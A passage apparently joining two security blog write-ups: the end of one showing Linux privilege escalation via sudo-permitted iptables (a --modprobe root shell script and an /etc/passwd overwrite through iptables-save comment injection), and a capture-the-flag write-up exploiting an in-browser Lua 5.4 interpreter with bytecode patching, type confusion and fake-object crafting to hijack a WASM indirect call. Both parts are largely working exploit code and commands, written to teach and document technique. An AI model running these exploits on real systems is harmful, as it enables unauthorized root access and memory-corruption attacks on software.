As a first step the xtables_load_ko function checks if the required modules have been already loaded, while if they have been not it calls the int xtables_insmod(const char *modname, const char *modprobe, bool quiet) function with as second parameter the modprobe command specified by the user.

Finally, the xtables_insmod function runs the command we specified in the --modprobe argument using the execv syscall:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int xtables_insmod(const char *modname, const char *modprobe, bool quiet) { char *buf = NULL; char *argv[4]; int status; /* If they don't explicitly set it, read out of kernel */ if (!modprobe) { buf = get_modprobe(); if (!buf) return -1; modprobe = buf; } /* * Need to flush the buffer, or the child may output it again * when switching the program thru execv. */ fflush(stdout); switch (vfork()) { case 0: argv[0] = (char *)modprobe; argv[1] = (char *)modname; if (quiet) { argv[2] = "-q"; argv[3] = NULL; } else { argv[2] = NULL; argv[3] = NULL; } execv(argv[0], argv); /* not usually reached */ exit(1); case -1: free(buf); return -1; default: /* parent */ wait(&status); } free(buf); if (WIFEXITED(status) && WEXITSTATUS(status) == 0) return 0; return -1; }

Wrapping all together, if we can run iptables as root then we can abuse it to run arbitrary system commands and with the following script being greeted with an interactive root shell:

1 2 3 4 5 #!/bin/bash echo -e "/bin/bash -i" > run-me chmod +x run-me sudo iptables -L -t nat --modprobe=./run-me

EOF?

While this technique is quite powerful, it has an important requirement: the kernel modules iptables is trying to access should not be loaded.

(Un)fortunately, in most of the modern Linux distributions they are, making the attack impracticable. That being said, it is still powerful when it comes to embedded devices as demonstrated by Giulio.

What about our target? Unlikely it had all the kernel modules loaded, so this technique couldn’t be applied. Time to find a new one then 👀

フュージョン

Time for the Metamoran Fusion Dance!

The lab

Before diving into the privilege escalation steps, let’s setup a little lab to experiment with.

To test this, you can do the following things on a fresh Ubuntu 24.04 LTS machine:

Install the iptables package via apt-get.
Add the following lines to the /etc/sudoers file:

1 2 user ALL=(ALL) NOPASSWD: /usr/bin/iptables user ALL=(ALL) NOPASSWD: /usr/bin/iptables-save

Comment out, in the same file, the line:

`1`	`%sudo ALL=(ALL:ALL) ALL`

As expected, running sudo -l will yield the following response:

1 2 3 4 5 6 7 user@ubuntu:~$ sudo -l Matching Defaults entries for user on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User user may run the following commands on ubuntu: (ALL) NOPASSWD: /usr/bin/iptables (ALL) NOPASSWD: /usr/bin/iptables-save

So either running sudo iptables or sudo iptables-save executes the command without asking for authentication.

In the next section, we’ll see how an attacker in this system can escalate their privileges to root.

Evilege Priscalation

This section will demonstrate how core and side features of the iptables and iptables-save commands, plus some Linux quirks, can be chained together in order to obtain arbitrary code execution.

Spoiler alert, it boils down to these three steps:

Using the comment functionality offered by iptables to attach arbitrary comments, containing newlines, to rules.
Leverage iptables-save to dump to a sensitive file the content of the loaded rules, including the comment payloads.
Exploiting step 1 and step 2 to overwrite the /etc/passwd file with an attacker-controlled root entry, crafted with a known password.

In the following sections, we will give some more details on these steps.

Step 1: Commenting Rules via iptables

Let’s consider a simple iptables command to add a firewall rule:

`1`	`sudo iptables -A INPUT -i lo -j ACCEPT`

the effect of this rule is to append a rule to the input chain to accept every inbound packet where the input interface is the local one. We can immediately verify the effect of this rule by running sudo iptables -L. The output of this command, as expected, contains the ACCEPT rule that we just loaded.

By looking into interesting flags supported by iptables, we stumble on this one:

comment

Allows you to add comments (up to 256 characters) to any rule. –comment comment Example: iptables -A INPUT -s 192.168.0.0/16 -m comment –comment “A privatized IP block”

Let’s test this by slightly modifying our previous rule:

`1`	`sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"`

Then again, listing the rules, we can see the effect of the comment:

1 2 3 4 5 6 7 8 9 10 Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT all -- anywhere anywhere ACCEPT all -- anywhere anywhere /* Allow packets to localhost */ Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination

iptables also provides a way to simply dump all the loaded rules, by running iptables -S:

1 2 3 4 5 -P INPUT ACCEPT -P FORWARD ACCEPT -P OUTPUT ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT

How much can we control this output? A simple test is to insert a newline:

`1`	`sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'`

NOTE

By using the $’ quoting, we can instruct bash to replace the \n character with a newline!

Now, let’s dump again the loaded rules to check whether the newline was preserved:

1 2 3 4 5 6 7 8 $ sudo iptables -S -P INPUT ACCEPT -P FORWARD ACCEPT -P OUTPUT ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost This rule rocks!" -j ACCEPT

This is definitely interesting – we’ve established that iptables preserves newlines in comments, which means that we can control multiple arbitrary lines in the output of an iptables rule dump.

…can you guess how this can be leveraged?

Step 2: Arbitrary File Overwrite via iptables-save

Before starting to shoot commands out, let’s RTFM:

iptables-save and ip6tables-save are used to dump the contents of IP or IPv6 Table in easily parseable format either to STDOUT or to a speci‐ fied file.

If this man page is right (it probably is), by simply running iptables-save without specifying any file, the rules will be dumped to STDOUT:

1 2 3 4 5 6 7 8 9 10 11 12 $ sudo iptables-save # Generated by iptables-save v1.8.10 (nf_tables) on Tue Aug 13 19:50:55 2024 *filter :INPUT ACCEPT [936:2477095] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -i lo -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost This rule rocks!" -j ACCEPT COMMIT # Completed on Tue Aug 13 19:50:55 2024

it seems iptables-save, too, is preserving the injected newline. Now that we know this, we can proceed to test its functionality by specifying a filename, supplying the -f switch. The output shows us we’re onto a good path:

The screenshot gives us two important informations:

We can control arbitrary lines on the file written by iptables-save.
Since this is running with sudo, the file is owned by root.

Where can we point this armed weapon? Onto the next section!

Step 3: Crafting Root Users

Recap: by leveraging arbitrary comments containing \n via iptables, and running iptables-save, we can write arbitrary files as root, and we partially control its lines – partially, yes, because the iptables-save outputs some data that can’t be controlled, before and after our injected comment.

How can this be useful? Well, there’s at least one way to turn this into a good privilege escalation, and it is thanks to the (in)famous /etc/passwd file. In fact, this file contains entries for each user that can log into the system, which includes metadata such as the hash of the password, and the UID of the user. Can you see where this is going?

Yes, we’re going to write a perfectly valid passwd root entry into an iptables rule, and we’re going to overwrite the /etc/passwd file via iptables-save. Since the injected line will also contain the password hash of the user, after the overwrite happens, we should be able to simply run su root and input the injected password.

At this point, we only have one doubt: will the other lines (which are not valid entries) break the system beyond repair? Clearly, there’s only one way to find out.

Proof of Concept

The steps to reproduce the privilege escalation are simple:

Encrypt the new root password in the right format by running openssl passwd <password>
Take the entry for root in the /etc/passwd, and copy it somewhere, replacing the x value of the encrypted password with the value generated at step 2
Inject the forged root entry in a new iptables rule comment

Overwrite /etc/passwd by running sudo iptables-save -f /etc/passwd

Verify that you can now su root with the password chosen at step 1

Limitations & Possible Improvements

The main limitation of this technique lies in its reduced likelihood: in fact, in order for the privilege escalation to be executed, a user must be granted sudo on both the iptables and iptables-save commands; while this certainly happens in the wild, it would be great if we could make this scenario even more likely. This might be doable: iptables-save is actually part of the iptables suite, as the latter supports an argv[0]-based aliasing mechanism to select from the full suite the command to run. Therefore, if it were possible to force iptables to act as iptables-save, then the iptables-save command would not be necessary anymore.

Moreover, while for this scenario overwriting /etc/passwd was provably enough, your imagination is the limit: there might be other interesting gadgets to use in a Linux system! Mostly, the requirements for a “good” overwrite target are:

It must split “entries” by newlines.
It must ignore invalid, junk lines.

AlcaWASM Challenge Writeup – Pwning an In-Browser Lua Interpreter

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Introduction

At some point, some weeks ago, I’ve stumbled upon this fascinating read. In it, the author thoroughly explains an RCE (Remote Code Execution) they found on the Lua interpreter used in the Factorio game. I heartily recommend anyone interested in game scripting, exploit development, or just cool low-level hacks, to check out the blogpost – as it contains a real wealth of insights.

The author topped this off by releasing a companion challenge to the writeup; it consists of a Lua interpreter, running in-browser, for readers to exploit on their own. Solving the challenge was a fun ride and a great addition to the content!

The challenge is different enough from the blogpost that it makes sense to document a writeup. Plus, I find enjoyment in writing, so there’s that.

I hope you’ll find this content useful in your journey 🙂

Instead of repeating concepts that are – to me – already well explained in that resource, I have decided to focus on the new obstacles that I faced while solving the challenge, and on new things I learned in the process. If at any point the content of the writeup becomes cryptic, I’d suggest consulting the blogpost to get some clarity on the techniques used.

The Lab

The challenge is available for anyone at https://alcawasm.memorycorruption.net/ (and it does not require any login or registration).

When visiting it, you’re welcomed by the following UI:

These are the details of each section:

Editor: an embedded VSCode for convenient scripting.
Console: a console connected to the output of the Lua interpreter.
Definitions: Useful definitions of the Lua interpreter, including paddings.
Goals: a list of objectives towards finishing the challenge. They automatically update when a goal is reached, but I’ve found this to be a bit buggy, TBH.

Working on the UI is not too bad, but I strongly suggest to copy-paste the code quite often – I don’t know how many times I’ve typed CMD+R instead of CMD+E (the shortcut to execute the code), reloading the page and losing my precious experiments.

Information Gathering

After playing for a bit with the interpreter, I quickly decided I wanted to save some time for my future self by understanding the environment a little bit better.

Note: this is, in my experience, a great idea. Always setup your lab!

Luckily, this is as easy as opening DevTools and using our uberly refined l33t intuition skills to find how the Lua interpreter was embedded in the browser:

and a bit of GitHub…

With these mad OSINT skillz, I learned that the challenge is built with wasmoon, a package that compiles the Lua v5.4 repository to WASM and then provides JS bindings to instantiate and control the interpreter.

This assumption is quickly corroborated by executing the following:

print(_VERSION)

This prints out Lua 5.4 (you should try executing that code to start getting comfortable with the interface).

This information is valuable for exploitation purposes, as it gives us the source code of the interpreter, which can be fetched by cloning the lua repository.

Let’s dive in!

Wait, it’s all TValues?

The first goal of the challenge is to gain the ability to leak addresses of TValues (Lua variables) that we create – AKA the addrof primitive.

In the linked blogpost, the author shows how to confuse types in a for-loop to gain that. In particular, they use the following code to leak addresses:

asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
end):gsub("\x61\0\0\x80", "\x17\0\0\128"))

foo = "Memory Corruption"

print(asnum(foo))

The gsub call patches the bytecode of the function to replace the FORPREP instruction. Without the patch, the interpreter would raise an error due to a non-numeric step parameter.

Loading this code in the challenge interface leads to an error:

Error: [string "asnum = load(string.dump(function(x)..."]:2: bad 'for' step (number expected, got string)

This is not too surprising, isn’t it? Since we are dealing with a different version of the interpreter, the bytes used in the gsub patch are probably wrong.

Fixing the patch

No worries, though, as the interpreter in the challenge is equipped with two useful features:

asm -> assembles Lua instructions to bytes
bytecode -> pretty-prints the bytecode of the provided Lua function

Let’s inspect the bytecode of the for loop function to understand what is there we have to patch:

# Code
asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
end))

print(bytecode(asnum))

# Output
function <(string):1,3> (7 instructions at 0x1099f0)
1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions
	1	7fff8081	[2]	LOADI    	1 0
	2	00000103	[2]	LOADK    	2 0	; 1000000000000
	3	00000180	[2]	MOVE     	3 0
	4	000080ca	[2]	FORPREP  	1 1	; exit to 7 <--- INSTRUCTION to PATCH
	5	00020248	[2]	RETURN1  	4
	6	000100c9	[2]	FORLOOP  	1 2	; to 5
	7	000100c7	[3]	RETURN0  	
constants (1) for 0x1099f0:
	0	1000000000000
locals (5) for 0x1099f0:
	0	x	1	8
	1	(for state)	4	7
	2	(for state)	4	7
	3	(for state)	4	7
	4	i	5	6
upvalues (0) for 0x1099f0:

The instruction to patch is the FORPREP. Represented in little endian, its binary value is 0xca800000.

We will patch it with a JMP 1. by doing so, the flow will jump to the FORLOOP instruction, which will increment the index with the value of the x step parameter. This way, by leveraging the type confusion, the returned index will contain the address of the TValue passed as input.

The next step is to assemble the target instruction:

# Code
print(string.format("%4x", asm("JMP", 1, 0)))

# Output
80000038

And we can then verify that the patching works as expected:

# Code
asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))

print(bytecode(asnum))

# Output
function <(string):1,3> (7 instructions at 0x10df28)
1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions
	1	7fff8081	[2]	LOADI    	1 0
	2	00000103	[2]	LOADK    	2 0	; 1000000000000
	3	00000180	[2]	MOVE     	3 0
	4	80000038	[2]	JMP      	1	; to 6 <--- PATCHING WORKED!
	5	00020248	[2]	RETURN1  	4
	6	000100c9	[2]	FORLOOP  	1 2	; to 5
	7	000100c7	[3]	RETURN0  	
constants (1) for 0x10df28:
	0	1000000000000
locals (5) for 0x10df28:
	0	x	1	8
	1	(for state)	4	7
	2	(for state)	4	7
	3	(for state)	4	7
	4	i	5	6
upvalues (0) for 0x10df28:

Leak Denied

By trying to leak a TValue result with the type confusion, something is immediately off:

# Code
asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))

foo = function() print(1) end
print("foo:", foo)

print("leak:",asnum(foo))

# Output
foo:	LClosure: 0x10a0c0
leak:     <--- OUTPUT SHOULD NOT BE NULL!

As a reliable way to test the addrof primitive, I am using functions. In fact, by default, when passing a function variable to the print function in Lua, the address of the function is displayed. We can use this to test if our primitive works.

From this test, it seems that the for loop is not returning the address leak we expect. To find out the reason about this, I took a little break and inspected the function responsible for this in the source code. The relevant snippets follow:

[SNIP]
      vmcase(OP_FORLOOP) {
        StkId ra = RA(i);
        if (ttisinteger(s2v(ra + 2))) {  /* integer loop? */
          lua_Unsigned count = l_castS2U(ivalue(s2v(ra + 1)));
          if (count > 0) {  /* still more iterations? */
            lua_Integer step = ivalue(s2v(ra + 2));
            lua_Integer idx = ivalue(s2v(ra));  /* internal index */
            chgivalue(s2v(ra + 1), count - 1);  /* update counter */
            idx = intop(+, idx, step);  /* add step to index */
            chgivalue(s2v(ra), idx);  /* update internal index */
            setivalue(s2v(ra + 3), idx);  /* and control variable */
            pc -= GETARG_Bx(i);  /* jump back */
          }
        }
        else if (floatforloop(ra))  /* float loop */ <--- OUR FLOW GOES HERE
          pc -= GETARG_Bx(i);  /* jump back */
        updatetrap(ci);  /* allows a signal to break the loop */
        vmbreak;
      }

[SNIP]

/*
** Execute a step of a float numerical for loop, returning
** true iff the loop must continue. (The integer case is
** written online with opcode OP_FORLOOP, for performance.)
*/
static int floatforloop (StkId ra) {
  lua_Number step = fltvalue(s2v(ra + 2));
  lua_Number limit = fltvalue(s2v(ra + 1));
  lua_Number idx = fltvalue(s2v(ra));  /* internal index */
  idx = luai_numadd(L, idx, step);  /* increment index */
  if (luai_numlt(0, step) ? luai_numle(idx, limit) <--- CHECKS IF THE LOOP MUST CONTINUE
                          : luai_numle(limit, idx)) {
    chgfltvalue(s2v(ra), idx);  /* update internal index */ <--- THIS IS WHERE THE INDEX IS UPDATED
    setfltvalue(s2v(ra + 3), idx);  /* and control variable */
    return 1;  /* jump back */
  }
  else
    return 0;  /* finish the loop */
}

Essentially, this code is doing the following:

If the loop is an integer loop (e.g. the TValue step has an integer type), the function is computing the updates and checks inline (but we don’t really care as it’s not our case).
If instead (as in our case) the step TValue is not an integer, execution reaches the floatforloop function, which takes care of updating the index and checking the limit.
- The function increments the index and checks if it still smaller than the limit. In that case, the index will be updated and the for loop continues – this is what we want!

We need to make sure that, once incremented with the x step (which, remember, is the address of the target TValue), the index is not greater than the limit (the number 1000000000000, in our code). Most likely, the problem here is that the leaked address, interpreted as an IEEE 754 double, is bigger than the constant used, so the execution never reaches the return i that would return the leak.

We can test this assumption by slightly modifying the code to add a return value after the for-loop ends:

# Code
asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
    return -1 <--- IF x > 1000000000000, EXECUTION WILL GO HERE 
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))

foo = function() print(1) end
print("foo:", foo)

print("leak:",asnum(foo))

# Output
foo:	LClosure: 0x10df18
leak:	-1 <--- OUR GUESS IS CONFIRMED

There’s a simple solution to this problem: by using x as both the step and the limit, we are sure that the loop will continue to the return statement.

The leak experiment thus becomes:

# Code
asnum = load(string.dump(function(x)
    for i = 0, x, x do return i end
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))

foo = function() print(1) end
print("foo:", foo)

print("leak:",asnum(foo))

# Output
foo:	LClosure: 0x10a0b0
leak:	2.3107345851353e-308

Looks like we are getting somewhere.

However, the clever will notice that the address of the function and the printed leaks do not seem to match. This is well explained in the original writeup: Lua thinks that the returned address is a double, thus it will use the IEEE 754 representation. Indeed, in the blogpost, the author embarks on an adventurous quest to natively transform this double in the integer binary representation needed to complete the addrof primitive.

We don’t need this. In fact, since Lua 5.3, the interpreter supports integer types!

This makes completing the addrof primitive a breeze, by resorting to the native string.pack and string.unpack functions:

# Code
asnum = load(string.dump(function(x)
    for i = 0, x, x do return i end
end):gsub("\xca\x80\x00\x00", "\x38\x00\x00\x80"))

function addr_of(variable)
  return string.unpack("L", string.pack("d", asnum(variable)))
end

foo = function() print(1) end
print("foo:", foo)

print(string.format("leak: 0x%2x",addr_of(foo)))
# Output
foo:	LClosure: 0x10a0e8
leak: 0x10a0e8

Good, our leak now finally matches the function address!

Note: another way to solve the limit problem is to use the maximum double value, which roughly amounts to 2^1024.

Trust is the weakest link

The next piece of the puzzle is to find a way to craft fake objects.

For this, we can pretty much use the same technique used in the blogpost:

# Code 

confuse = load(string.dump(function()
    local foo
    local bar
    local target
    return (function() <--- THIS IS THE TARGET CLOSURE WE ARE RETURNING
      (function()
        print(foo)
        print(bar)
        print("Leaking outer closure: ",target) <--- TARGET UPVALUE SHOULD POINT TO THE TARGET CLOSURE
      end)()
    end)
end):gsub("(\x01\x00\x00\x01\x01\x00\x01)\x02", "%1\x03", 1))

outer_closure = confuse()
print("Returned outer closure:", outer_closure)

print("Calling it...")
outer_closure()


# Output

Returned outer closure:	LClosure: 0x109a98
Calling it...
nil
nil
Leaking outer closure: 	LClosure: 0x109a98 <--- THIS CONFIRMS THAT THE CONFUSED UPVALUE POINTS TO THE RIGHT THING

Two notable mentions here:

Again, in order to make things work with this interpreter I had to change the bytes in the patching. In this case, as the patching happens not in the opcodes but rather in the upvalues of the functions, I resorted to manually examining the bytecode dump to find a pattern that seemed the right one to patch – in this case, what we are patching is the “upvals table” of the outer closure.
We are returning the outer closure to verify that the upvalue confusion is working. In fact, in the code, I’m printing the address of the outer closure (which is returned by the function), and printing the value of the patched target upvalue, and expecting them to match.

From the output of the interpreter, we confirm that we have successfully confused upvalues.

If it looks like a Closure

Ok, we can leak the outer closure by confusing upvalues. But can we overwrite it? Let’s check:


# Code

confuse = load(string.dump(function()
    local foo
    local bar
    local target
    return (function()
      (function()
        print(foo)
        print(bar)
        target = "AAAAAAAAA"
      end)()
      return 10000000
    end)(), 1337
end):gsub("(\x01\x00\x00\x01\x01\x00\x01)\x02", "%1\x03", 1))

confuse()

# Output

nil
nil
RuntimeError: Aborted(segmentation fault)

Execution aborted with a segmentation fault.

To make debugging simple, and ensure that the segmentation fault depends on a situation that I could control, I’ve passed the same script to the standalone Lua interpreter cloned locally, built with debugging symbols.

What we learn from GDB confirms this is the happy path:

After the inner function returns, the execution flow goes back to the outer closure. In order to execute the return 100000000 instruction, the interpreter will try fetching the constants table from the closure -> which will end up in error because the object is not really a closure, but a string, thanks to the overwrite in the inner closure.

…except this is not at all what is happening in the challenge.

Thanks for all the definitions

If you try to repeatedly execute (in the challenge UI) the script above, you will notice that sometimes the error appears as a segmentation fault, other times as an aligned fault, and other times it does not even errors.

The reason is that, probably due to how wasmoon is compiled (and the fact that it uses WASM), some of the pointers and integers will have a 32 bit size, instead of the expected 64. The consequence of this is that many of the paddings in the structs will not match what we have in standalone Lua interpreter!

Note: while this makes the usability of the standalone Lua as a debugging tool…questionable, I think it was still useful and therefore I’ve kept it in the writeup.

This could be a problem, for our exploit-y purposes. In the linked blogpost, the author chooses the path of a fake constants table to craft a fake object. This is possible because of two facts:

In the LClosure struct, the address of its Proto struct, which holds among the other things the constants values, is placed 24 bytes after the start of the struct.
In the TString struct, the content of the string is placed 24 bytes after the start of the struct.

Therefore, when replacing an LClosure with a TString via upvalues confusion, the two align handsomely, and the attacker thus controls the Proto pointer, making the chain work.

However, here’s the definitions of LClosure and TString for the challenge:

struct TString {
    +0: (struct GCObject *) next
    +4: (typedef lu_byte) tt
    +5: (typedef lu_byte) marked
    +6: (typedef lu_byte) extra
    +7: (typedef lu_byte) shrlen
    +8: (unsigned int) hash
    +12: (union {
        size_t lnglen;
        TString *hnext;
    }) u
    +16: (char[1]) contents <--- CONTENTS START AFTER 16 BYTES
}

...

struct LClosure {
    +0: (struct GCObject *) next
    +4: (typedef lu_byte) tt
    +5: (typedef lu_byte) marked
    +6: (typedef lu_byte) nupvalues
    +8: (GCObject *) gclist
    +12: (struct Proto *) p <--- PROTO IS AFTER 12 BYTES
    +16: (UpVal *[1]) upvals
}

Looking at the definition, it is now clear why the technique used in the blogpost would not work in this challenge: because even if we can confuse a TString with an LClosure, the bytes of the Proto pointer are not under our control!

Of course, there is another path.

Cheer UpValue

In the linked blogpost, the author mentions another way of crafting fake objects that doesn’t go through overwriting the Prototype pointer. Instead, it uses upvalues.

By looking at the definitions listed previously, you might have noticed that, while the Proto pointer in the LClosure cannot be controlled with a TString, the pointer to the upvals array is instead nicely aligned with the start of the string contents.

Indeed, the author mentions that fake objects can be created via upvalues too (but then chooses another road).

To see how, we can inspect the code of the GETUPVAL opcode in Lua, the instruction used to retrieve upvalues:


struct UpVal {
    +0: (struct GCObject *) next
    +4: (typedef lu_byte) tt
    +5: (typedef lu_byte) marked
    +8: (union {
        TValue *p;
        ptrdiff_t offset;
    }) v
    +16: (union {
        struct {
            UpVal *next;
            UpVal **previous;
        };
        UpVal::(unnamed struct) open;
        TValue value;
    }) u
}

...

vmcase(OP_GETUPVAL) {
  StkId ra = RA(i);
  int b = GETARG_B(i);
  setobj2s(L, ra, cl->upvals[b]->v.p);
  vmbreak;
}

The code visits the cl->upvals array, navigates to the bth element, and takes the pointer to the TValue value v.p.

All in all, what we need to craft a fake object is depicted in the image below:

This deserves a try!

Unleash the beast

A good test of our object artisanship skills would be to create a fake string and have it correctly returned by our craft_object primitive. We will choose an arbitrary length for the string, and then verify whether Lua agrees on its length once the object is crafted. This should confirm the primitive works.

Down below, I will list the complete code of the experiment, which implements the diagram above:

local function ubn(n, len)
  local t = {}
  for i = 1, len do
      local b = n % 256
      t[i] = string.char(b)
      n = (n - b) / 256
  end
  return table.concat(t)
end

asnum = load(string.dump(function(x)
    for i = 0, x, x do return i end
end):gsub("\xca\x80\x00\x00", "\x38\x00\x00\x80"))

function addr_of(variable)
  return string.unpack("L", string.pack("d", asnum(variable)))
end

-- next + tt/marked/extra/padding/hash + len
fakeStr = ubn(0x0, 12) .. ubn(0x1337, 4)
print(string.format("Fake str at: 0x%2x", addr_of(fakeStr)))

-- Value + Type (LUA_VLNGSTRING = 0x54)
fakeTValue = ubn(addr_of(fakeStr) + 16, 8) .. ubn(0x54, 1)
print(string.format("Fake TValue at: 0x%2x", addr_of(fakeTValue)))

-- next + tt/marked + v
fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeTValue) + 16, 8)
print(string.format("Fake Upvals at: 0x%2x", addr_of(fakeUpvals)))

-- upvals
fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8)
print(string.format("Fake Closureat : 0x%2x", addr_of(fakeClosure)))

craft_object = string.dump(function(closure)
    local foo
    local bar
    local target
    return (function(closure)
      (function(closure)
        print(foo)
        print(bar)
        print(target)
        target = closure
      end)(closure)
      return _ENV
    end)(closure), 1337
end)

craft_object = craft_object:gsub("(\x01\x01\x00\x01\x02\x00\x01)\x03", "%1\x04", 1)
craft_object = load(craft_object)
crafted = craft_object(fakeClosure)
print(string.format("Crafted string length is %x", #crafted))

Note: as you can see, in the outer closure, I am returning the faked object by returning the _ENV variable. This is the first upvalue of the closure, pushed automatically by the interpreter for internal reasons. This way, I am instructing the interpreter to return the first upvalue in the upvalues array, which points to our crafted UpValue.

The output of the script confirms that our object finally has citizenship:

Fake str at: 0x10bd60
Fake TValue at: 0x112c48
Fake Upvals at: 0x109118
Fake Closureat : 0x109298
nil
nil
LClosure: 0x10a280
Crafted string length is 1337 <--- WE PICKED THIS LENGTH!

Escape from Alcawasm

In the linked blogpost, the author describes well the “superpowers” that exploit developers gain by being able to craft fake objects.

Among these, we have:

Arbitrary read
Arbitrary write
Control over the Instruction Pointer

In this last section, I’ll explain why the latter is everything we need to complete the challenge.

To understand how, it’s time to go back to the information gathering.

(More) Information Gathering

The description of the challenge hints that, in the WASM context, there is some kind of “win” function that cannot be invoked directly via Lua, and that’s the target of our exploit.

Inspecting the JS code that instantiates the WASM assembly gives some more clarity on this:

  a || (n.global.lua.module.addFunction((e => {
      const t = n.global.lua.lua_gettop(e)
        , r = [];
      for (let a = 1; a <= t; a++)
          switch (n.global.lua.lua_type(e, a)) {
          case 4:
              r.push(n.global.lua.lua_tolstring(e, a));
              break;
          case 3:
              r.push(n.global.lua.lua_tonumberx(e, a));
              break;
          default:
              console.err("Unhandled lua parameter")
          }
      return 1 != r.length ? self.postMessage({
          type: "error",
          data: "I see the exit, but it needs a code to open..."
      }) : 4919 == r[0] ? self.postMessage({
          type: "win"
      }) : self.postMessage({
          type: "error",
          data: "Invalid parameter value, maybe more l333t needed?"
      }),
      0
  }
  ), "ii"),

Uhm, I’m no WASM expert, but it looks like this piece of code might just be the “win” function I was looking for.

Its code is not too complex: the function takes a TValue e as input, checks its value, converting it either to string or integer, and stores the result into a JS array. Then, the value pushed is compared against the number 4919 (0x1337 for y’all), and if it matches, the “win” message is sent (most likely then granting the final achievement).

Looking at this, it seems what we need to do is to find a way to craft a fake Lua function that points to the function registered by n.global.lua.module.addFunction, and invoke it with the 0x1337 argument.

But how does that addFunction work, and how can we find it in the WASM context?

Emscripten

Googling some more leads us to the nature of the addFunction:

https://emscripten.org/docs/porting/connecting_cpp_and_javascript/Interacting-with-code.html#calling-javascript-functions-as-function-pointers-from-c

You can use addFunction to return an integer value that represents a function pointer. Passing that integer to C code then lets it call that value as a function pointer, and the JavaScript function you sent to addFunction will be called.

Thus, it seems that wasmoon makes use of Emscripten, the LLVM-based WASM toolchain, to build the WASM module containing the Lua interpreter.

And, as it seems, Emscripten provides a way to register JavaScript functions that will become “callable” in the WASM. Digging a little more, and we see how the addFunction API is implemented:

https://github.com/emscripten-core/emscripten/blob/1f519517284660f4b31ef9b7f921bf6ba66c4041/src/library_addfunction.js#L196

SNIP
    var ret = getEmptyTableSlot();

    // Set the new value.
    try {
      // Attempting to call this with JS function will cause of table.set() to fail
      setWasmTableEntry(ret, func);
    } catch (err) {
      if (!(err instanceof TypeError)) {
        throw err;
      }
  #if ASSERTIONS
      assert(typeof sig != 'undefined', 'Missing signature argument to addFunction: ' + func);
  #endif
      var wrapped = convertJsFunctionToWasm(func, sig);
      setWasmTableEntry(ret, wrapped);
    }

    functionsInTableMap.set(func, ret);

    return ret;

SNIP
  },

Essentially, the function is being added to the WebAssembly functions table.

Now again, I’ll not pretend to be a WASM expert – and this is also why I decided to solve this challenge. Therefore, I will not include too many details on the nature of this functions table.

What I did understand, though, is that WASM binaries have a peculiar way of representing function pointers. They are not actual “addresses” pointing to code. Instead, function pointers are integer indices that are used to reference tables of, well, functions. And a module can have multiple function tables, for direct and indirect calls – and no, I’m not embarrassed of admitting I’ve learned most of this from ChatGPT.

Now, to understand more about this point, I placed a breakpoint in a pretty random spot of the WebAssembly, and then restarted the challenge – the goal was to stop in a place where the chrome debugger had context on the executing WASM, and explore from there.

The screenshot below was taken from the debugger, and it shows variables in the scope of the execution:

Please notice the __indirect_function_table variable: it is filled with functions, just as we expected.

Could this table be responsible for the interface with the win function? To find this out, it should be enough to break at some place where we can call the addFunction, call it a few times, then stop again inside the wasm and check if the table is bigger:

And the result in the WASM context, afterwards:

Sounds like our guess was spot on! Our knowledge so far:

The JS runner, after instantiating the WASM, invokes addFunction on it to register a win function
The win function is added to the __indirect_function_table, and it can be called via its returned index
The win function is the 200th function added, so we know the index (199)

The last piece, here, is figure out how to trigger an indirect call in WASM from the interpreter, using the primitives we have obtained.

Luckily, it turns out this is not so hard!

What’s in an LClosure

In the blogpost, I’ve learned that crafting fake objects can be used to control the instruction pointer.

This is as easy as crafting a fake string, and it’s well detailed in the blogpost. Let’s try with the same experiment:


# Code
SNIP

-- function pointer + type
fakeFunction = ubn(0xdeadbeef, 8) .. ubn(22, 8)
fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeFunction) + 16, 8)
fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8)

crafted_func = craft_object(fakeClosure)
crafted_func()

# Output
SNIP
RuntimeError: table index is out of bounds

The error message tells us that the binary is trying to index a function at an index that is out of bound.

Looking at the debugger, this makes a lot of sense, as the following line is the culprit for the error:

call_indirect (param i32) (result i32)

Bingo! This tells us that our fake C functoin is precisely dispatching a WASM indirect call.

At this point, the puzzle is complete 🙂

Platinum Trophy

Since we can control the index of an indirect call (which uses the table of indirect functions) and we know the index to use for the win function, we can finish up the exploit, supplying the correct parameter:


# Code
-- function pointer (win=199) + type 
fakeFunction = ubn(199, 8) .. ubn(22, 8)
fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeFunction) + 16, 8)
fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8)

